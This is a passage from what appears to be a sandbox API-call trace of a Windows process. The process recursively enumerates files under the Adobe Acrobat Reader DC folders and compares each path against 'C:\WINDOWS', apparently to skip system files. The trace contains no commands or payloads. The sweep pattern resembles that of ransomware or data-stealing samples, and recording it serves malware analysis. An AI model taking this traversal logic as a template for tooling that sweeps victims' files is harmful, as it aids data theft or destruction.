nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="natives_blob.bin", cAlternateFileName="NATIVE~1.BIN")) returned 1 [0197.104] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0197.105] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1abe0524, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x134b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1 [0197.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0197.106] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="arh.exe", cAlternateFileName="")) returned 1 [0197.108] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0197.108] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 0 [0197.108] FindClose (in: hFindFile=0x4420d60 | out: hFindFile=0x4420d60) returned 1 [0197.108] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0197.108] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec3e62f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x35200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccme_asym.dll", cAlternateFileName="CCME_A~1.DLL")) returned 1 [0197.111] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0197.111] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0197.111] FindClose (in: hFindFile=0x44208e0 | out: hFindFile=0x44208e0) returned 1 [0197.111] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0197.111] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b83e876, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x1b83e876, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1b83e876, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="JAVASC~1")) returned 1 [0197.112] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0197.112] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf981782, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xbc1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0197.113] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0197.113] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0 [0197.113] FindClose (in: hFindFile=0x4420d60 | out: hFindFile=0x4420d60) returned 1 [0197.113] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0197.113] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0197.114] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0197.114] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en_US", cAlternateFileName="")) returned 0 [0197.114] FindClose (in: hFindFile=0x44208e0 | out: hFindFile=0x44208e0) returned 1 [0197.114] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0197.114] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1fa1b97a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x62050, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0197.119] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0197.119] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0197.119] FindClose (in: hFindFile=0x4420e60 | out: hFindFile=0x4420e60) returned 1 [0197.119] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0197.119] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0197.121] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0197.121] FindNextFileW (in: hFindFile=0x4420460, lpFindFileData=0x34feb94 | out: lpFindFileData=0x34feb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0197.121] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0197.121] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0197.121] FindClose (in: hFindFile=0x4420e60 | out: hFindFile=0x4420e60) returned 1 [0197.121] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0197.121] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0197.122] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4400060 | out: hHeap=0x420000) returned 1 [0197.122] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x34fee10 | out: lpFindFileData=0x34fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 0 [0197.122] FindClose (in: hFindFile=0x4420e60 | out: hFindFile=0x4420e60) returned 1 [0197.123] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0197.123] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0197.123] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0197.124] FindNextFileW (in: hFindFile=0x44208e0, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PPKLite.api", cAlternateFileName="")) returned 1 [0197.124] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0197.125] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0197.128] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45b2db0 | out: hHeap=0x420000) returned 1 [0197.128] FindNextFileW (in: hFindFile=0x4420e60, lpFindFileData=0x34ff08c | out: lpFindFileData=0x34ff08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfbe3d1f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2437f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0197.129] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0197.129] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0197.133] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0197.133] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIThemes", cAlternateFileName="")) returned 1 [0197.134] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0197.134] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x34ff308 | out: lpFindFileData=0x34ff308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b050b7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x42a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1 [0197.483] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0197.483] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0197.483] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs") returned 100 [0197.483] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs") returned 1 [0197.483] lstrlenW (lpString="libs") returned 4 [0197.483] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="libs") returned -1 [0197.483] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4505f78 [0197.483] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs") returned 100 [0197.483] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs\\*", lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4420820 [0197.483] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0197.484] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0197.484] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0197.484] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0197.484] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0197.484] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0197.484] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0197.484] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0197.484] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0197.484] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e5f68 | out: hHeap=0x420000) returned 1 [0197.484] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1 [0197.484] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core") returned 92 [0197.484] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core") returned 1 [0197.484] lstrlenW (lpString="core") returned 4 [0197.484] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="core") returned -1 [0197.484] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x44e5f68 [0197.484] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core") returned 92 [0197.484] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\*", lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x44205e0 [0197.484] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0197.484] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 1 [0197.485] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev") returned 96 [0197.485] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev") returned 1 [0197.485] lstrlenW (lpString="dev") returned 3 [0197.485] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="dev") returned -1 [0197.485] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x44f5f70 [0197.485] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev") returned 96 [0197.485] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\*", lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420220 [0197.485] FindNextFileW (in: hFindFile=0x4420220, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 